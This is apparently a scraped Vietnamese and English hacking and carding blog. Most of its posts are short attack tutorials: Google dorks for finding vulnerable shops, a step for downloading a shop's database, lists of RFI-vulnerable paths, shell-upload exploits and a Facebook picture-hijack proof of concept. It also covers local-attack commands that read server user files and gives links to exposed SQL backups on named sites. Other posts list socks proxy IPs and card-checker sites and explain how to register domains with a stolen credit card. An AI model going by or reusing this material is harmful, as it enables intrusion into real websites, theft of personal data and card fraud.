Carding Tutorial - PDShopPro Shopping Cart

Dork:

allinurl:/shop/category.asp?catid=

Steps:
1- Copy and paste the dork on Google
2- Choose any site
3- For example, your site is 

 www.example.com/shop/category.asp?catid=2

4- Remove /shop/category.asp?catid=2 and replace it with /admin/dbsetup.asp and you will see some thing like this.

 

5- If you get something like this, that's mean the site is vulnerable.
6- Now, continue our next step by replacing /admin/dbsetup.asp with /data/pdshoppro.mdb

Exploit eggBlog 414 Arbitrary File Upload

Dork:

"powered by eggBlog.net"

Exploit : 

/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg=

Remote File Inclusion [RFI] Dorks

/components/com_flyspray/startdown.php?file=
/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=
/components/com_simpleboard/file_upload.php?sbp=
/components/com_hashcash/server.php?mosConfig_absolute_path=
/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=
/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=
/components/com_performs/performs.php?mosConfig_absolute_path=
/components/com_forum/download.php?phpbb_root_path=
/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=
/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=
/components/minibb/index.php?absolute_path=
/components/com_smf/smf.php?mosConfig_absolute_path=
/modules/mod_calendar.php?absolute_path=
/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=
/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=

Exploit Wordpress : fbconnect SQL Injection Vulnerability

Dork:

inurl:"fbconnect_action=myhome"

Exploit: 

Shop737 - File Upload Vulnerabilities

Finding Vulnerable Target

Dork:

intext:"Powered by Shop737"

1- Copy and paste this dork on Google.

2- Choose any site as your target.

3- Once you clicked on your target, you will see something like this,

Exploit Elfinder - Shell Upload Vulnerability

Dork:
                        inurl:'elfinder.php.html'inurl:'elfinder.html'

Moxiecode File Browser - An Uploading Vulnerability

Hi guys, I'm the new guy has just come to this blog :) This will be my first post on this blog...

An uploading vulnerability that you can upload files :)

PHP Remote - File Uploading Vulnerability

Dork:

inurl:”cadastro.php?TipodeConta=

Choose any sites... This form will be appeared :

Spaw Uploader (Vulnerability)

Dork:

inurl:”spaw2/uploads/files/”

Change spaw2/uploads/files/ to:

spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

Live Demo:

http://www.tieca.com/backoffice_tieca/spaw2/uploads/files/Crash_Hydra_Skull.html

Bảo vệ Website bằng .htaccess !!!

Có khá nhiều tài liệu về .htaccess. Cái này tôi chỉ update thêm cho các tài liệu đó.

1. .htaccess là gì?

1.1. .htaccess là gì

.htaccess là một file cấu hình sử dụng cho các web server chạy Apache. .htaccess dùng để thiết lập các tùy chọn: thực thi hay loại bỏ các chức năng, tính năng của Apache

1.2. Ý nghĩa ký hiệu định nghĩa trong .htaccess

Sock 5 Vip!! (27/06/2014)

109.251.74.247:21723
166.78.137.15:46907
173.24.67.160:31197
178.171.36.104:14932
187.189.119.243:13909
190.254.163.158:26894
190.90.193.202:443
198.50.136.217:60088
207.183.232.242:41916
211.167.76.180:45372
221.214.214.187:11180
24.211.165.13:52449
24.227.33.82:48064
24.234.245.37:49327
24.47.57.4:23318
61.147.67.2:9123
65.25.3.26:54790
65.27.113.74:33117
65.28.48.177:44307
66.137.224.128:25028
66.30.76.140:43738
68.144.54.142:22223
69.251.81.230:54455
69.68.129.61:20376
70.166.136.165:45077
75.128.223.139:18789
75.167.78.51:50212
75.99.187.138:35822
76.112.48.14:28314
77.242.22.254:8741
78.39.178.2:443
80.114.179.158:32501
80.62.217.19:9100
86.38.220.80:44424
98.117.63.101:32095
98.145.67.82:48271
98.213.60.209:50142
98.236.230.54:37445

Sock 5 Vip! (25/06/2014)

114.26.208.76:6238
123.30.188.46:2214
172.242.214.14:17698
173.93.169.207:48581
174.54.103.213:43615
184.90.146.71:32637
185.4.29.169:443
199.193.153.72:3308
199.201.126.67:443
211.100.47.140:7098
213.250.211.130:52427
217.219.169.48:443
217.66.27.149:2379
219.147.172.2:12345
221.214.214.187:11180
222.240.175.79:8580
24.242.107.191:28304
24.32.119.168:47657

Website Decode PHP Chuẩn

Tìm được cái trang này chuyên decode các loại mã hóa PHP, thấy nó được chuẩn bị rất tốt và có khả năng giải mã những file php bị mã hóa đủ kiểu, đã test thử với hầu hết các con shell được mã hóa của rất nhiều thành viên thì tỉ lệ thành công gần như trên 95% nên bạn nào có nhu cầu thì vào sài ké nó nhé: http://www.unphp.net/

Sock 5 Vip !!(24/06/2014)

1.36.186.217:6923
103.247.157.3:35389
119.247.168.8:10119
121.150.193.39:19942
140.117.163.142:52848
142.255.77.162:47731
169.130.9.90:51362
173.23.165.114:28358
174.60.216.175:30947
178.150.134.218:45360
184.20.121.129:12497
190.112.101.139:7880
193.136.60.26:443
194.247.12.11:9335
194.247.12.11:9614
199.191.120.205:49073
199.201.126.67:443
201.26.63.135:20607

BẢO MẬT HƠN CHO PASSWORD – WEB PROGRAMER

Hiện nay, nhiều bạn học lập trình rất giỏi, cực kì xuất sắc nữa là khác, nhưng các bạn đó có bao giờ chú ý để việc đặt 1 password sao cho BẢO MẬT.
- Thú thật, khi mình khai thác sqli, nhiều site đặt password chẳng mã hóa lun, chắc điều này các bạn cũng biết nhỉ????

- Một số khác, lại mã hóa cái password ấy, nhưng cực kì sơ sài, bởi vì, họ chỉ quan tâm tới vẻ bên ngoài sao cho bắt mắt, đẹp và … chạy được, nhưng đó lại là sự thật

vd 1 cách đặt pass phổ biến như:


$password = md5($_POST["pass"]);

Facebook Comment's Picture Hijacking

Link: http://1337day.com/exploit/20915

Description:
Today Facebook rollouts for FB users to comment with picture on any status. But the feature has a bug which allows malicious user to hijack the picture from any comments if the picture is share by uploading for comment.

After Malicious user hijack the picture, malicious person can change picture description as well as delete the picture.

Let's get started! all you need are status ID and victim's uploaded picture for comment ID.

Once you have both, we can simply comment on any status with that uploaded picture iD with the help of little javascript or you can use tampa data (attached_photo_fbid) to post with comment picture ID.

-----Javascript Facebook Picture Hijack PoC----

var yourMessage = "check out my pic"; // your msg
var photofbID = XXXXXXXXXX; // victim photo ID

Sock 5 Vip!! (23/06/2014)

100.42.168.86:6629
108.167.78.172:35208
108.34.170.52:22251
109.67.132.133:44468
109.73.216.94:32251
114.80.136.222:7780
122.118.111.130:5127
140.116.109.79:10113
141.135.111.233:5813
142.255.77.162:47731
162.243.105.128:6170
173.12.63.13:43952
173.14.92.165:15761

Sock 5 Vip!!(22/06/2014)

108.184.81.152:48391

109.90.187.154:35936

114.77.93.197:45824

114.80.136.222:7780

118.167.30.108:16107

159.224.60.200:31846

173.0.193.172:40696

173.202.218.33:40098

CCV Checker

http://ccplex.info/
http://tool.shop4key.com/webtools/tool/checkccv/ccvgate12/
http://ug4all.com/
https://ug-market.com

Sock 5 Vip (19/06/2014)

108.16.204.170:25763
108.38.139.100:51868
114.80.136.222:7780
173.202.218.33:45570
173.221.160.2:19349
173.23.165.114:18445
173.24.67.160:40520
173.61.194.56:45235
174.109.105.154:44252
174.126.40.91:20842
174.64.169.104:45730
176.36.68.60:20222

Hướng dẫn reg domain Không bị die

Tut này hd các bạn reg domain yahoo.
Trước tiên các bạn cần chuẩn bị (socks 5 + 1 CC lived)
sau khi có đủ socks và cc rồi các bạn tiến hành các bước như sau:
bước đầu tiên là fake ip sau khi có một con socks có dạng : 24.174.91.226:54179 
Nếu dùng IE các bạn làm như sau:

Quote:
các bạn vào IE rồi vào tool
sau đó click vào Internet Option...
Tiếp theo để clear hết cookie để % order tỷ lệ live domain cao hơn các bạn có thể click vào deletel cookie và deletel file
Sau khi clear cookie xong vào fake IP các bạn click vào Connextion>Lan Setting>Đánh dấu vào Proxy server
chọn Advanced
Phần socks các bạn gõ ô ở bên trái là 24.174.91.226 và ô ở bên phải là 54179 sau khi fake ok rồi các bạn có thể vào http://ip2location.com để kiểm tra địa chỉ ip của mình.Nếu là US thì OK
Còn với những ai thích dùng firefox hơn thì làm như sau:

35 website học lập trình web

Tự học lập trình có khó không? Điều mà chúng ta sợ nhất khi tự học Online có lẽ là sợ sai rồi "code đứng cứng ngắc" mò hoài chẳng ra -> nản -> bỏ. Hỏi thì chẳng biết hỏi ai, hỏi cái dễ quá thì sợ bị khinh. Tuy nhiên, bạn hãy tự tin vào việc học Online, bởi danh sách website này có giáo trình hợp lí chia theo từng bài, từng phần từ thấp đến cao, nguồn bài phong phú, giao diện và thao tác học đơn giản, tương tác sâu. Với những website này thì bạn có thể đi từ cơ bản đến nâng cao với rất nhiều loại ngôn ngữ lập trình và nền tảng. Còn cái nữa là học online thì giáo trình và kỹ thuật bảo đảm mới và cập nhật hơn nhiều so với giáo trình trong trường lớp. Tham khảo nhé! 

W3Schools

Dừng chân đầu tiên của danh sách nguồn Online để học lập trình là W3Schools, bởi sự phổ biến và tính hữu ích của nó. Thêm vào đó, khi trao đổi với nhiều lập trình viên mà tôi quen thì W3Schools luôn là nguồn mà họ hay nhắc đến khi nói về nơi để học lập trình.

Học lập trình miễn phí với 7 website tương tác

1. Codecademy

Codecademy là nơi lý tưởng để bạn lập trình tương tác trực tuyến bằng ngôn ngữ Ruby, Python và JavaScript. Bạn sẽ làm việc trên trình soạn thảo mã trực tuyến mà không cần phải tải về hay cài đặt thêm...

http://codecademy.com

[Bài 6] Bảo mật chống hack​

Cách bảo mật chống hack rất đơn giản chỉ là chmod và htaccess thôi :))

- public_html : chmod 710
- File config: 400
- Thư mục: 710
- File: 604
- Thư mục upload: 755
- Đặt htaccess chống run shell vào các thư mục upload, thư mục chỉ chứa ảnh:

Mã:

<Files ~ "\.(inc|sql|php|cgi|pl|php4|php5|jsp|txt|kid|cbg|nok|shtml)$">
  order allow,deny
  deny from all
</Files>

- Đặt pass 2 lớp cho admincp

[Bài 5] Local attack​

I. Symlink

1. Symlink là gì ?
Mọi người có thể hiểu như thế này symlink là tạo 1 file (thư mục) ánh xạ tới một file (thư mục) khác.
Hay nói đơn giản và dễ hiểu hơn nó tương tự như shortcut trên window :)

2. Vậy symlink để làm gì ?
Mục đich của symlink là xem file config của victim trong local attack trong trường hợp dir, cat không sử dụng được

3. Công cụ cần thiết
Rất đơn giản là 1 con shell trên 1 site nào đó cùng server với victim :)

4. Cách symlink
Ở đây mình sẽ phân ra hai trường hợp:

Bài 4: TẤN CÔNG GIÁN TiẾP - LOCAL ATTACK

​

+ Local Attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong.
+ Bằng cách tấn công vào một website có bảo mật kém chung server với website mục tiêu, sau đó sử dụng các công cụ và kỹ thuật khác nhau tấn công sang mục tiêu trong nội bộ .

1. CÁC BƯỚC LOCAL ATTACK

+ Xác định các website chung sever với mục tiêu (Victim)

+ Kiểm tra toàn sever ,xác định site bảo mật kém và khai thác bằng các hình thức tấn công trực tiếp .

+ Up Shell lên website đã khai thác lỗi bảo mật

+ Kiểm tra điều kiện sever và quyền thực thi , sử dụng bypasss nếu bị hạn chế quyền

+ Tiến hành local sang mục tiêu

Bài 3: Thu thập thông tin - Google Hack - Crack pass

Như đã nói ở bài 1, các bước cơ bản đã tiến hành hack một website bao gôm:

1. Chuẩn Bị
2. Quét Thăm Dò
3. Liệt Kê Tìm Lỗ Hổng Bảo Mật
4. Khai Thác & Xâm Nhập
5. Leo Thang – Vượt Quyền
6. Thu Thập Thông Tin & Dữ Liệu
7. Xóa Dấu Vết
8. Tạo Cửa Sau
9. Hoàn Tất

Thu thập thông tin
​

Ở trong bài này mình sẽ nói chủ yếu về bước 1: Chuẩn bị.
Công việc ở đây bao gồm: tìm victim, thu thập thông tin về victim. Khi xác định được site mục tiêu các bạn hãy cố gắng thu thập được càng nhieuf thông tin càng tốt.
Ví dụ như: số điện thoại, facebook, email, ngày tháng năm sinh.....
Chắc các bạn sẽ thắc mắc tại sao cần thu thập những thông tin đó để làm gì. Nó có tác dụng gì. Mình xin nói luôn rằng hiện có rất nhiều admin đặt mật khẩu bằng số điện thoại, ngày tháng năm sinh..... chính vì thế việc thu thập thông tin là một bước khá quan trọng và nhiều khi nó sẽ khiên công việc trở nên dễ dàng hơn rất nhiều.
Tóm lại đừng bỏ qua bất kỳ chi tiết nhỏ nào mà bạn có thể thu thập được :D

* Ngoài ra trong quá trình tấn công bạn cũng nên ghi nhớ xem site đó sử dụng hosting của nhà cung cấp nào có địa chỉ ip ra sao, sử dụng cpanel hay directadmin...

[Bài 2] Làm thế nào để trở thành 1 hacker

1. Addon firefox
- Trình duyệt khuyên dùng: Firefox
- 1 số addon hỗ trợ

* Firebug: https://addons.mozilla.org/vi/firefox/addon/firebug/?src=search
* Hackbar: https://addons.mozilla.org/vi/firefox/addon/hackbar/?src=search
* Live http header: https://addons.mozilla.org/vi/firefox/addon/live-http-headers/?src=ss
* Flagfox: https://addons.mozilla.org/vi/firefox/addon/flagfox/?src=ss
* ShowIP: https://addons.mozilla.org/vi/firefox/addon/showip/?src=search

Các add-on ở trên khá thông dụng ở đây mình chỉ giới thiệu thêm về Flagfox và showip

a. Flagfox sau khi cài nó sẽ cho ta biết máy chủ của site victim được đặt ở đâu

 

Click chuột vào lá cờ sẽ ra thông tin chi tiết

BÀI 1: Làm thế nào để trở thành một Hacker

1. Am hiểu các loại mã nguồn: php, html, c ++, cgi.....
2. Biết khai thác và sử dụng mọi thông tin trên internet
3. Kiên trì :D
4. Tư duy logic

Bạn muốn là hacker...
​

1. White hat
Được sự cho phép, đồng ý để đột nhập vào mạng của một công ty để tìm và vá lỗ hổng bảo mật của hệ thống .

2. Gray hat
Không có mục đích xấu, Vi phạm xâm nhập bất hợp pháp mạng của công ty và thông báo công khai về lỗ hổng bảo mật của nó cho cộng đồng .

3. Black hat
Thâm nhập vào mạng máy tính người dùng . Xâm nhập dữ liệu và sử dụng cho lợi ích cá nhân .

CÔNG VIỆC HACKER THƯỜNG LÀM ?
​

1 . Nghiên cứu,khai thác lỗi bảo mật của một hệ thống
2. Xây dựng hệ thống phòng thủ và bảo mật

Tấn công bằng cách tìm file backup trên site!

Nhiều Chủ site thường chủ quan khi backup hoặc restore dữ liệu mà quên xóa .Chúng ta có thể tìm những file backup,data đó bằng 1 số dork của như
filetype:sql
filetype:zip backup
filetype:tar bla bla
Ví dụ như mình tìm với dork là filetype:sql site:vn và kết quả nhận đc là một đống cơ sở dữ liệu.Vào xem lấy user,password thôi,cần thì crack :)).
http://www.cholontourist.com.vn/english/database/cholontourist.sql
http://iforce.com.vn/thangtn/DOAN/database/thuocduoclieu.sql
http://vanthien.com.vn/vanthien_bk.sql
http://leeshop.vn/upload/file/db_visoco.sql

Tổng hợp những lệnh trên shell hay dùng nhất khi local​

1) Xem list domain & user trên cùng sever

Mã:

directadmin: cat /etc/virtual/domainowners
cpanel: ls -la /etc/valiases/tendomainvictim.com

cd/etc/vdomainaliases;ls-lia

Trường hợp đặc biệt khi không thể xem user nằm cùng host thì ta thêm && vào

Mã:

cd/etc/vdomainaliases && ls-lia

2)Xem tên user: tùy vào distro linux khác nhau sẽ có các câu lệnh đọc file khác nhau.

Sock 5 Vip (18/06/2014)

1.173.25.60:2834
100.42.168.86:51137
108.162.40.186:16630
114.80.136.222:7780
142.105.6.182:9323
158.46.228.228:9696
166.78.137.15:33112
166.78.137.15:37801
166.78.137.15:38448
166.78.137.15:48405
166.78.137.15:53805
173.14.92.165:8371
173.165.99.74:38192
173.165.99.74:41346
173.165.99.74:42390

Sock 5 Vip! (16/06/2014)

108.20.229.26:30524
114.80.136.222:7780
119.25.48.116:5117
158.46.228.228:9696
162.156.150.39:27851
173.14.92.165:8371
173.172.125.97:24443
173.216.229.48:12369
173.45.200.96:24435
173.65.151.51:22442
173.65.221.15:36213
173.81.30.26:24121
180.153.139.245:8886
180.153.139.246:8887
184.19.128.53:22587
185.4.29.169:443
186.19.150.247:11442
188.136.132.18:443
194.247.12.11:9014
198.50.230.90:11786
198.50.230.90:7512
199.193.153.72:3308
199.201.126.67:443
2.124.152.255:26569
202.103.150.70:8088
204.116.27.155:54583
204.27.58.202:9050
211.21.230.199:49052
212.43.54.74:7366
212.57.179.193:2214
213.110.131.95:5944
216.15.64.232:19943
217.219.169.48:443
23.243.254.98:20831
24.192.129.49:47455
24.51.216.43:22548
24.59.91.21:17405
46.109.207.3:19064
46.165.193.67:6634
46.165.193.67:7428
61.147.67.2:9123
65.25.3.26:52579
67.161.34.144:21463
67.78.226.182:38674
68.194.196.54:28840
68.2.28.228:42044
68.204.141.59:41652
69.64.81.194:60088
70.83.70.192:29099
71.179.43.29:3997
71.71.1.245:29324
71.81.182.87:22289
71.9.127.141:15324
72.214.60.140:43403
72.241.141.3:19708
75.148.102.157:41641
75.71.95.103:39508
77.242.22.254:8741
78.39.178.2:443
84.52.46.5:22769
89.38.251.25:9100
91.185.215.141:5243
91.185.215.141:6031
91.185.215.141:6178
91.185.215.141:6651
91.185.215.141:6881
91.185.215.141:7500
91.185.215.141:8488
91.185.215.141:8755
91.185.215.141:8843
91.185.215.141:9665
97.80.60.62:25628
98.237.12.7:31684

Sock 5 Vip (14/06/2014)

109.251.74.247:31914
114.77.231.117:46338
114.80.136.222:7780
119.26.86.79:39072
142.105.6.182:34801
146.115.136.152:54482
165.228.4.38:26270
166.159.133.167:27297
185.4.29.169:443
198.50.230.90:11786
202.103.150.70:8088
203.206.139.167:52101
204.27.58.202:9050
207.6.112.193:52264
212.104.96.33:12505
213.110.131.95:12037
216.106.33.250:24858
216.249.226.60:20252
217.160.109.45:32903
217.160.109.45:33503
217.160.109.45:40920
217.218.236.190:19206
219.147.172.2:12345
37.120.69.190:7430
5.135.176.41:3123
61.147.67.2:9124
65.191.14.87:48433
67.177.227.225:41183
67.247.179.190:18364
68.199.0.40:22843
68.32.89.152:50290
71.74.145.212:28211
71.87.105.20:46812
72.135.99.75:42891
74.89.94.164:47787
75.128.223.139:61857
75.99.187.138:51393
76.184.212.177:15877
76.30.105.122:43859
76.97.207.191:25367
77.242.22.254:8741
78.39.178.2:443
84.108.86.115:4934
88.31.120.111:38768
89.237.45.94:12120
89.38.251.25:9100
91.185.215.141:5210
91.234.209.76:13028
98.165.31.187:38286
98.236.230.54:53856

Sock 5 Vip!! (12/06/2014)

103.247.157.3:19666
109.72.125.4:61000
114.80.136.222:7780
140.116.109.79:51203
140.117.163.142:60419
173.18.240.238:26200
173.233.183.132:51709
173.29.167.210:33996
174.118.90.64:24741
174.126.40.91:44911
175.177.35.96:39520
175.177.35.96:9828
176.195.128.217:2857
178.151.62.40:9696
178.158.128.93:52389
178.158.128.93:55553
178.171.36.104:13287
191.183.230.123:57499
202.103.150.70:8088
203.110.141.106:44163
204.191.111.162:29464
207.255.52.224:51148
209.140.209.31:18089
211.21.230.199:30519
212.20.44.94:9696
217.219.169.48:443
219.147.172.2:12345
219.241.42.2:1818
221.214.214.187:11180
24.176.129.116:47913
24.234.245.37:25485
24.236.103.33:45787
46.165.193.67:7564
5.135.176.41:3123
5.83.128.210:38894
59.181.106.165:36023
61.147.67.2:9002
61.147.67.2:9123
61.147.67.2:9124
63.140.193.55:14228
65.184.87.89:24806
65.27.138.243:15534
66.191.231.155:34672
67.210.32.120:44687
69.113.32.31:43708
69.251.81.230:10219
71.191.155.198:11459
71.207.2.105:32733
71.58.115.128:54979
71.74.145.212:37430
72.89.228.92:3401
73.178.5.87:33983
74.141.37.49:50357
74.42.155.94:46645
75.118.21.251:15714
75.74.123.84:15181
75.81.195.3:48623
76.184.212.177:36299
77.242.22.254:8741
78.39.178.2:443
81.155.33.147:39015
82.162.214.98:44546
83.91.86.26:9100
85.65.96.39:28999
85.67.84.225:44566
85.67.84.225:63206
91.185.215.141:5271
91.185.215.141:5286
91.185.215.141:6031
91.185.215.141:6905
91.185.215.141:8026
91.185.215.141:8388
91.185.215.141:8421
91.185.215.141:9062
95.76.197.77:61586
96.225.161.55:20156
96.241.56.92:50311
96.246.224.18:28755
98.114.177.85:33793
98.209.107.201:42116
98.225.11.221:49856
98.230.140.59:51633
98.230.69.2:43828

Sock 5 Vip!! (11/06/2014)

1.233.184.112:27294
108.16.204.170:37475
108.6.142.170:23759
110.143.244.23:25783
113.160.56.206:18045
114.80.136.222:7780
118.69.205.216:4624
146.115.155.232:47608
162.156.205.11:31708
173.45.200.96:35055
173.93.169.207:30583
174.57.124.133:35245
174.60.247.70:26329
178.214.207.68:443
183.207.228.6:9603
183.207.228.7:9782
199.193.153.72:3308
201.20.110.58:443
202.103.150.70:8088
205.144.214.26:37375
217.218.236.190:19206
217.219.169.48:443
217.66.27.149:12221
219.147.172.2:12345
219.241.42.2:1818
221.214.214.187:11180
5.135.176.41:3123
61.147.67.2:9002
61.147.67.2:9123
61.147.67.2:9124
65.184.87.89:52533
66.97.50.11:46932
67.171.14.83:27703
67.177.227.225:11881
67.78.226.182:21799
68.42.4.183:48042
75.71.95.103:26480
78.30.243.224:51605
78.39.178.2:443
79.120.71.29:5555
80.46.160.219:54053
82.2.94.140:15645
86.51.26.12:591
86.51.26.12:8088
86.51.26.13:8088
86.51.26.14:591
86.51.26.14:8088
86.51.26.15:591
86.51.26.16:8088
86.51.26.17:591
86.51.26.17:8088
86.51.26.18:591
86.51.26.18:8088
86.51.26.19:591
91.185.215.141:5123
91.185.215.141:6059
91.185.215.141:6651
98.109.176.239:32465
98.243.164.198:16721

HACK qua Google

1. Camera an ninh:

inurl:"viewerframe?mode=motion"

2. Lấy thông tin cá nhân bất kì:

intitle:"curriculum vitae" "phone * * *" "address *" "e-mail"

Or:

filetype:xls inurl:"email.xls"
intitle:index.of finances.xls

3. Free Download Music & Ebook:

Music:
"?intitle:index.of?mp3 artist name"

Ebook:
"?intitle:index.of?pdf book name"

Lưu ý:
Tất nhiên chỉ là ví dụ có thể tại thời điểm này các thông tin đã bị thay đổi.

Ngoài ra còn có nhiều từ khoá bí mật có thể mà chúng ta không thể biết hết anh google làm được gì với chúng ta